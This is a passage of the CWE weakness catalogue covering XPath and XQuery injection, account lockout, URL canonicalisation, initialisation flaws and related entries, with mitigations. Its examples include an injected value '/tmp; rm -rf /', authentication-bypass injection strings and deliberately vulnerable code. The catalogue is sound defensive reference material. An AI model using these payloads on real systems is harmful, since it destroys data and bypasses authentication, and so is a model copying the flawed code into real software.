        open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
        while (<$fh>) {
            SendOutput($stream, "FILEINFO: $_");
        }
        close($fh);
    }
}
```

The programmer takes care to call a specific `"ls"` program and sets the `HOMEDIR` to a fixed value. However, an attacker can use a command such as `"ENV HOMEDIR /secret/directory"` to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting `HOMEDIR` to a value such as `"/tmp; rm -rf /"`. In this case, the programmer never intends for `HOMEDIR` to be modified, so input validation for `HOMEDIR` is not the solution. A partial solution would be an allowlist that only allows the `LANG` variable to be specified in the `ENV` command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no `ENV` command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

## CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

<b>Weakness ID</b> : 643	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

### Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>Controlling application flow (e.g. bypassing authentication).</i>	
Confidentiality	Read Application Data <i>The attacker could read restricted XML content.</i>	

## Potential Mitigations

### Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

### Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

## Demonstrative Examples

### Example 1:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

*Example Language: XML*

*(informative)*

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

*Example Language: Java*

*(bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("/users/user[login/text()=' " + login.getUserName() + " and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "" or "=" the XPath expression now becomes

*Example Language:*

*(attack)*

```
//users/user[login/text()='john' or '=' and password/text() = '' or '=']/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

## CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

**Weakness ID** : 644

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

### Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

### Phase: Architecture and Design

Disable script execution functionality in the clients' browser.

## Demonstrative Examples

### Example 1:

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

## CWE-645: Overly Restrictive Account Lockout Mechanism

**Weakness ID** : 645**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.

### Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>Users could be locked out of accounts.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

#### Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

### Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

### Demonstrative Examples

#### Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

## CWE-646: Reliance on File Name or Extension of Externally-Supplied File

<b>Weakness ID</b> : 646	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

### Extended Description

An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

## CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

**Weakness ID** : 647

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

### Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision,

then it opens the application to attack. For example, if the application only wants to allow access to `http://www.example.com/mypage`, then the attacker might be able to bypass this restriction using equivalent URLs such as:

- `http://WWW.EXAMPLE.COM/mypage`
- `http://www.example.com/%6Dypage` (alternate encoding)
- `http://192.168.1.1/mypage` (IP address)
- `http://www.example.com/mypage/` (trailing /)
- `http://www.example.com:80/mypage`

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. Confidentiality	Read Files or Directories <i>If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

#### Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

### Demonstrative Examples

**Example 1:**

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing `http://example.domain:8080/application`. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed `http://192.168.0.1:8080/application`. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

**CWE-648: Incorrect Use of Privileged APIs****Weakness ID** : 648**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

**Extended Description**

When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

## Potential Mitigations

### Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

### Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

### Phase: Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

### Phase: Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

### Phase: Implementation

Only call privileged APIs from safe, consistent and expected state.

### Phase: Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

## CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

<b>Weakness ID</b> : 649	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

### Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>The inputs could be modified without detection, causing the software to have unexpected system state or make incorrect security decisions.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

#### Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

#### Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

#### Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

### Observed Examples

Reference	Description
<b>CVE-2005-0039</b>	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP

Reference	Description
	<p>of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application.</p> <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0039">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0039</a></p>

## CWE-650: Trusting HTTP Permission Methods on the Server Side

<b>Weakness ID</b> : 650	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

### Extended Description

The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.

## CWE-651: Exposure of WSDL File Containing Sensitive Information

<b>Weakness ID</b> : 651	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

### Extended Description

An information exposure may occur if any of the following apply:

1. The WSDL file is accessible to a wider audience than intended.

2. The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
3. Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1129

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>The attacker may find sensitive information located in the WSDL file.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

### Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

## Demonstrative Examples

### Example 1:

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

## CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

<b>Weakness ID</b> : 652	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

### Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>An attacker might be able to read sensitive information from the XML database.</i>	

## Potential Mitigations

### Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

### Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

## Demonstrative Examples

### Example 1:

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. `doc(accounts.xml)//user[name= '*']` The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

## CWE-653: Insufficient Compartmentalization

<b>Weakness ID</b> : 653	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

## Extended Description

## Potential Mitigations

### Phase: Architecture and Design

Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

## Demonstrative Examples

### Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

### Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	901	SFP Primary Cluster: Privilege	888	2050

## Notes

### Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

### Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

## CWE-654: Reliance on a Single Factor in a Security Decision

**Weakness ID** : 654**Status**: Draft**Structure** : Simple**Abstraction** : Base

## Description

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

## Relationships

While this entry is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.</i>	
Non-Repudiation	Hide Activities  <i>It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.</i>	

## Potential Mitigations

**Phase: Architecture and Design**

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

**Phase: Architecture and Design**

Use redundant access rules on different choke points (e.g., firewalls).

**Demonstrative Examples****Example 1:**

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

**Example 2:**

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

**CWE-655: Insufficient Psychological Acceptability**

<b>Weakness ID</b> : 655	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

### Relationships

### Applicable Platforms

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.</i>	

### Potential Mitigations

#### Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

#### Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

### Demonstrative Examples

#### Example 1:

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

#### Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

#### Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

## CWE-656: Reliance on Security Through Obscurity

Weakness ID : 656

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

### Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Potential Mitigations

### Phase: Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

### Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

## Demonstrative Examples

### Example 1:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

## CWE-657: Violation of Secure Design Principles

**Weakness ID** : 657

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

## CWE-662: Improper Synchronization

<b>Weakness ID</b> : 662	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

### Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be

unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

### Notes

#### Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

## CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID : 663

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

### Relationships

## CWE-664: Improper Control of a Resource Through its Lifetime

<b>Weakness ID</b> : 664	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Pillar	

#### Description

The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

#### Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

## CWE-665: Improper Initialization

<b>Weakness ID</b> : 665	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

### Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

## Detection Methods

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

### Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

### Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

### Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

### Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

### Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Demonstrative Examples

### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

*Example Language: Java*

*(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

### Example 2:

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Example 3:

The following code intends to concatenate a string to a variable and print the string.

*Example Language: C*

*(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but `str` was not initialized, so it contains random memory. As a result, `str[0]` might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before `str[8]`, then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before `str[8]`, then a buffer overflow could occur, since `strcat` will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

## CWE-666: Operation on Resource in Wrong Phase of Lifetime

**Weakness ID** : 666

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

### Extended Description

When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-667: Improper Locking

**Weakness ID** : 667

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The software does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

### Extended Description

